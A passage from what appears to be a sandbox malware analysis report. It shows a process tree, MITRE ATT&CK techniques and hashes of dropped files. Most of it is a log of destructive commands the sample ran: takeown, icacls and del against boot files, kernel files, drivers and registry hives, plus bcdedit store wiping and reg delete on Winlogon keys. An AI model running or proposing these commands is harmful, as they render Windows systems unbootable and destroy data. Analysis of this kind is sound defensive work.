      icacls "C:\Windows\Boot\EFI\bootmgfw.efi" /grant Administrators:F /t /c /q
      4⤵
      PID:9168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\Boot\EFI\bootmgfw.efi""
    3⤵
    - Executes a command shell one-liner
    PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI\bootmgr.efi" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:1132
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI\bootmgr.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:8972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI\bootmgr.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:4080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\EFI\bootmgr.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\Boot\EFI\bootmgr.efi""
    3⤵
    PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI\memtest.efi" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:5548
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI\memtest.efi" /r /d y
      4⤵
      Modifies file permissions
      PID:9264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI\memtest.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:5020
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\EFI\memtest.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\Boot\EFI\memtest.efi""
    3⤵
    - Executes a command shell one-liner
    PID:4252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\bootmgfw.efi" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:6060
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Microsoft\Boot\bootmgfw.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\bootmgfw.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:3380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Microsoft\Boot\bootmgfw.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\bootmgr.efi" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:2528
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Microsoft\Boot\bootmgr.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\bootmgr.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:4664
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Microsoft\Boot\bootmgr.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\BCD" /r /d y"
    3⤵
    PID:5096
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Microsoft\Boot\BCD" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\BCD" /grant Administrators:F /t /c /q"
    3⤵
    PID:1528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Microsoft\Boot\BCD" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Boot\bootx64.efi" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:6128
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Boot\bootx64.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Boot\bootx64.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:2728
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Boot\bootx64.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Boot\bootia32.efi" /r /d y"
    3⤵
    PID:3528
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Boot\bootia32.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Boot\bootia32.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:936
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Boot\bootia32.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Boot\winload.efi" /r /d y"
    3⤵
    PID:5552
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Boot\winload.efi" /r /d y
      4⤵
      PID:8528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Boot\winload.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:2516
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Boot\winload.efi" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\Boot\winload.efi""
    3⤵
    - Executes a command shell one-liner
    PID:2056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Boot\winresume.efi" /r /d y"
    3⤵
    PID:464
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Boot\winresume.efi" /r /d y
      4⤵
      Modifies file permissions
      PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Boot\winresume.efi" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:2924
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Boot\winresume.efi" /grant Administrators:F /t /c /q
      4⤵
      Modifies file permissions
      PID:3020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\Boot\winresume.efi""
    3⤵
    PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im explorer.exe"
    3⤵
    PID:6936
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im explorer.exe
      4⤵
      Kills process with taskkill
      PID:9144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im RuntimeBroker.exe"
    3⤵
    - Executes a command shell one-liner
    PID:7092
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im RuntimeBroker.exe
      4⤵
      Kills process with taskkill
      PID:8240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\ntoskrnl.exe" /r /d y"
    3⤵
    PID:1268
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\ntoskrnl.exe" /r /d y
      4⤵
      Modifies file permissions
      PID:8216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winload.exe" /r /d y"
    3⤵
    PID:436
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\winload.exe" /r /d y
      4⤵
      Modifies file permissions
      PID:8524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winload.exe" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:1184
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winload.exe" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\winload.exe""
    3⤵
    PID:1920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\ntdll.dll" /r /d y"
    3⤵
    PID:5860
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\ntdll.dll" /r /d y
      4⤵
      Modifies file permissions
      PID:8416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\ntdll.dll" /grant Administrators:F /t /c /q"
    3⤵
    PID:4016
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\ntdll.dll" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\hal.dll" /r /d y"
    3⤵
    PID:5528
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\ntdll.dll""
    3⤵
    PID:5420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\hal.dll" /grant Administrators:F /t /c /q"
    3⤵
    PID:760
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\hal.dll""
    3⤵
    - Executes a command shell one-liner
    PID:3844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\ntoskrnl.exe" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:2488
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\ntoskrnl.exe" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\ntoskrnl.exe""
    3⤵
    PID:2004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winresume.exe" /r /d y"
    3⤵
    PID:4628
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\winresume.exe" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\ci.dll" /r /d y"
    3⤵
    PID:5068
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\ci.dll" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:6916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SYSTEM" /r /d y"
    3⤵
    PID:3760
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SYSTEM" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SOFTWARE" /r /d y"
    3⤵
    PID:1156
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SOFTWARE" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SYSTEM" /grant Administrators:F /t /c /q"
    3⤵
    PID:2244
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SYSTEM" /grant Administrators:F /t /c /q
      4⤵
      PID:8236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SOFTWARE" /grant Administrators:F /t /c /q"
    3⤵
    PID:7176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SOFTWARE" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SYSTEM""
    3⤵
    - Executes a command shell one-liner
    PID:7184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SOFTWARE""
    3⤵
    PID:7192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\ci.dll" /grant Administrators:F /t /c /q"
    3⤵
    PID:7204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\ci.dll" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\ci.dll""
    3⤵
    PID:7212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winresume.exe" /grant Administrators:F /t /c /q"
    3⤵
    PID:7220
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winresume.exe" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\winresume.exe""
    3⤵
    - Executes a command shell one-liner
    PID:7228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SAM" /r /d y"
    3⤵
    PID:7348
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SAM" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SAM" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SAM" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SAM""
    3⤵
    PID:7388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SECURITY" /r /d y"
    3⤵
    PID:7528
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SECURITY" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers\ntfs.sys" /r /d y"
    3⤵
    PID:7616
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers\ntfs.sys" /r /d y
      4⤵
      Modifies file permissions
      PID:9528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers\ntfs.sys" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7720
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers\ntfs.sys" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      PID:9256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\drivers\ntfs.sys""
    3⤵
    - Executes a command shell one-liner
    PID:7728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SECURITY" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:7748
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SECURITY" /grant Administrators:F /t /c /q
      4⤵
      PID:9432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\config\SECURITY""
    3⤵
    - Executes a command shell one-liner
    PID:7760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers\acpi.sys" /r /d y"
    3⤵
    PID:7868
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers\acpi.sys" /r /d y
      4⤵
      Modifies file permissions
      PID:9032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers\acpi.sys" /grant Administrators:F /t /c /q"
    3⤵
    PID:7876
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers\acpi.sys" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers\disk.sys" /r /d y"
    3⤵
    PID:7712
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers\disk.sys" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:9840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\drivers\acpi.sys""
    3⤵
    PID:7884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\explorer.exe" /r /d y"
    3⤵
    PID:7980
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\explorer.exe" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\bootmgr" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:8092
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\bootmgr" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\bootmgr" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\bootmgr" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\explorer.exe" /grant Administrators:F /t /c /q"
    3⤵
    PID:8124
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\explorer.exe" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      PID:9284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers\disk.sys" /grant Administrators:F /t /c /q"
    3⤵
    PID:8128
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers\disk.sys" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\explorer.exe""
    3⤵
    PID:8140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "del /f /q /a "C:\Windows\System32\drivers\disk.sys""
    3⤵
    PID:8148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Boot\BCD" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:4896
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Boot\BCD" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:9464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Boot\BCD" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:5680
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Boot\BCD" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config" /r /d y"
    3⤵
    PID:8260
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\BCD" /r /d y"
    3⤵
    PID:3544
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\BCD" /r /d y
      4⤵
      PID:9904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\BCD" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\BCD" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\drivers" /r /d y"
    3⤵
    PID:8376
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:9968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\drivers" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot" /r /d y"
    3⤵
    PID:8680
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:9976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:8688
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot" /grant Administrators:F /t /c /q
      4⤵
      PID:9384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Boot" /r /d y"
    3⤵
    PID:8892
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Boot" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:10020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Boot" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:9204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Boot" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {bootmgr} /f"
    3⤵
    - Executes a command shell one-liner
    PID:9212
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {bootmgr} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    - Executes a command shell one-liner
    PID:7144
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:10032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {default} /f"
    3⤵
    PID:1144
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {default} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:10232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /createstore C:\empty.bcd"
    3⤵
    - Executes a command shell one-liner
    PID:1384
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /createstore C:\empty.bcd
      4⤵
      Modifies boot configuration data using bcdedit
      PID:10192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /import C:\empty.bcd /clean"
    3⤵
    PID:2788
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /import C:\empty.bcd /clean
      4⤵
      Modifies boot configuration data using bcdedit
      PID:10012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f"
    3⤵
    - Executes a command shell one-liner
    PID:7992
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:10080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f"
    3⤵
    - Executes a command shell one-liner
    PID:7032
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f
      4⤵
      PID:10200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_3504_546046_f4ax1x59kWk\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_3504_546046_f4ax1x59kWk\_ctypes.pyd
Size 139KB
SHA256 408cc4e7a22ffa418ca52f5e13fe9268a3c50a2bc9de02b0530b555ef591bc5a
MD5 659510afbc97992af071a0e2a75545ef
SHA1 ec7dba6821ccc0e6b9f851d39812e0de3627130b
SHA512 76a243fb96129041bccf92c2e231efdb53aba519bb26d919dc8b213e949fc0534448bf75400702c03850abb7cd24b1cbd37e0d0c76615a34248615aa44cde4d1
SSDEEP 3072:e/n1qQ8rqSN56EBZSQ4ED1O/IxswJQW2DfrFAIpGPMS:on1Jb86JE0/IxfSvF6
TLSH
